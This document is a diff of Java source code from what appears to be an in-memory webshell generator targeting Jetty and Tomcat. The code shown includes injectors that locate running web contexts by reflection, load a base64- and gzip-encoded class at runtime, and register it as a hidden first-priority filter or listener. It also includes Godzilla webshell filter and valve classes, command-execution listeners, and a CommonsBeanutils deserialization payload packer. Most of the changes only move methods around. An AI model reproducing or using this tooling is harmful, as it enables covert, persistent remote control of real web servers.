// 2. 注入内存马Filter
|
||||
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
||||
|
||||
// 3. 修改Filter的优先级为第一位
|
||||
// 3. 修改Filter的优先级为第一位
|
||||
moveFilterToFirst(servletHandler);
|
||||
|
||||
try {
|
||||
@@ -222,95 +312,4 @@ public class JettyFilterInjector {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+95
-99
@@ -19,19 +19,10 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class JettyListenerInjector {
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static {
|
||||
new JettyListenerInjector();
|
||||
}
|
||||
|
||||
|
||||
public JettyListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
@@ -45,94 +36,6 @@ public class JettyListenerInjector {
|
||||
|
||||
}
|
||||
|
||||
List<Object> getContext() {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = getContextClassLoader(thread);
|
||||
if (isWebAppClassLoader(contextClassLoader)) {
|
||||
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
|
||||
} else if (isHttpConnection(thread)) {
|
||||
contexts.add(getContextFromHttpConnection(thread));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getContextClassLoader(Thread thread) throws Exception {
|
||||
return invokeMethod(thread, "getContextClassLoader");
|
||||
}
|
||||
|
||||
private boolean isWebAppClassLoader(Object classLoader) {
|
||||
return classLoader.getClass().getName().contains("WebAppClassLoader");
|
||||
}
|
||||
|
||||
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
|
||||
Object context = getFV(classLoader, "_context");
|
||||
Object handler = getFV(context, "_servletHandler");
|
||||
return getFV(handler, "_contextHandler");
|
||||
}
|
||||
|
||||
private boolean isHttpConnection(Thread thread) throws Exception {
|
||||
Object threadLocals = getFV(thread, "threadLocals");
|
||||
Object table = getFV(threadLocals, "table");
|
||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object httpConnection = getFV(entry, "value");
|
||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private Object getContextFromHttpConnection(Thread thread) throws Exception {
|
||||
Object threadLocals = getFV(thread, "threadLocals");
|
||||
Object table = getFV(threadLocals, "table");
|
||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object httpConnection = getFV(entry, "value");
|
||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
|
||||
Object request = invokeMethod(httpChannel, "getRequest");
|
||||
Object session = invokeMethod(request, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
return getFV(servletContext, "this$0");
|
||||
}
|
||||
}
|
||||
}
|
||||
throw new Exception("HttpConnection not found");
|
||||
}
|
||||
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable e1) {
|
||||
e1.printStackTrace();
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
|
||||
public static void addListener(Object context, Object listener) {
|
||||
try {
|
||||
if (isInjected(context, listener.getClass().getName())) {
|
||||
@@ -144,7 +47,6 @@ public class JettyListenerInjector {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static boolean isInjected(Object context, String className) throws Exception {
|
||||
|
||||
try {
|
||||
@@ -161,7 +63,6 @@ public class JettyListenerInjector {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
try {
|
||||
Class<?> decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
@@ -250,4 +151,99 @@ public class JettyListenerInjector {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
List<Object> getContext() {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
|
||||
for (Thread thread : threads) {
|
||||
try {
|
||||
Object contextClassLoader = getContextClassLoader(thread);
|
||||
if (isWebAppClassLoader(contextClassLoader)) {
|
||||
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
|
||||
} else if (isHttpConnection(thread)) {
|
||||
contexts.add(getContextFromHttpConnection(thread));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getContextClassLoader(Thread thread) throws Exception {
|
||||
return invokeMethod(thread, "getContextClassLoader");
|
||||
}
|
||||
|
||||
private boolean isWebAppClassLoader(Object classLoader) {
|
||||
return classLoader.getClass().getName().contains("WebAppClassLoader");
|
||||
}
|
||||
|
||||
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
|
||||
Object context = getFV(classLoader, "_context");
|
||||
Object handler = getFV(context, "_servletHandler");
|
||||
return getFV(handler, "_contextHandler");
|
||||
}
|
||||
|
||||
private boolean isHttpConnection(Thread thread) throws Exception {
|
||||
Object threadLocals = getFV(thread, "threadLocals");
|
||||
Object table = getFV(threadLocals, "table");
|
||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object httpConnection = getFV(entry, "value");
|
||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private Object getContextFromHttpConnection(Thread thread) throws Exception {
|
||||
Object threadLocals = getFV(thread, "threadLocals");
|
||||
Object table = getFV(threadLocals, "table");
|
||||
for (int i = 0; i < Array.getLength(table); ++i) {
|
||||
Object entry = Array.get(table, i);
|
||||
if (entry != null) {
|
||||
Object httpConnection = getFV(entry, "value");
|
||||
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
|
||||
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
|
||||
Object request = invokeMethod(httpChannel, "getRequest");
|
||||
Object session = invokeMethod(request, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
return getFV(servletContext, "this$0");
|
||||
}
|
||||
}
|
||||
}
|
||||
throw new Exception("HttpConnection not found");
|
||||
}
|
||||
|
||||
private Object getListener(Object context) {
|
||||
Object listener = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
listener = clazz.newInstance();
|
||||
} catch (Throwable e1) {
|
||||
e1.printStackTrace();
|
||||
}
|
||||
}
|
||||
return listener;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,13 +12,6 @@ import java.io.ObjectOutputStream;
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class DeserializePacker implements Packer {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] pack(GenerateResult generateResult) {
|
||||
Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes());
|
||||
return serialize(payload);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] serialize(Object obj) {
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
@@ -28,4 +21,11 @@ public class DeserializePacker implements Packer {
|
||||
oos.close();
|
||||
return baos.toByteArray();
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] pack(GenerateResult generateResult) {
|
||||
Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes());
|
||||
return serialize(payload);
|
||||
}
|
||||
}
|
||||
+20
-20
@@ -17,6 +17,26 @@ public class CommandListener implements ServletRequestListener {
|
||||
public CommandListener() {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent sre) {
|
||||
|
||||
@@ -51,24 +71,4 @@ public class CommandListener implements ServletRequestListener {
|
||||
}
|
||||
return response;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -13,9 +13,9 @@ import java.io.InputStream;
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandValve implements Valve {
|
||||
public String paramName = "{{paramName}}";
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
public CommandValve() {
|
||||
}
|
||||
|
||||
+38
-38
@@ -26,6 +26,44 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
@@ -86,42 +124,4 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
|
||||
+40
-40
@@ -15,13 +15,13 @@ import java.io.IOException;
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaValve extends ClassLoader implements Valve {
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public GodzillaValve() {
|
||||
}
|
||||
@@ -30,6 +30,44 @@ public class GodzillaValve extends ClassLoader implements Valve {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) {
|
||||
String value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object Encoder = base64.newInstance();
|
||||
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
@@ -96,42 +134,4 @@ public class GodzillaValve extends ClassLoader implements Valve {
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) {
|
||||
String value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object Encoder = base64.newInstance();
|
||||
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
+32
-32
@@ -36,18 +36,6 @@ public class TomcatFilterInjector {
|
||||
}
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
@@ -72,26 +60,6 @@ public class TomcatFilterInjector {
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
@@ -138,6 +106,38 @@ public class TomcatFilterInjector {
|
||||
}
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
|
||||
+112
-111
@@ -17,18 +17,11 @@ import java.util.zip.GZIPInputStream;
|
||||
* 测试版本：
|
||||
* jdk v1.8.0_275
|
||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||
*
|
||||
* @author pen4uin, ReaJason
|
||||
*/
|
||||
public class TomcatListenerInjector {
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
static {
|
||||
new TomcatListenerInjector();
|
||||
}
|
||||
@@ -44,6 +37,116 @@ public class TomcatListenerInjector {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
try {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
@@ -123,7 +226,7 @@ public class TomcatListenerInjector {
|
||||
}
|
||||
} else if (getFV(context, "applicationEventListenersList") != null) {
|
||||
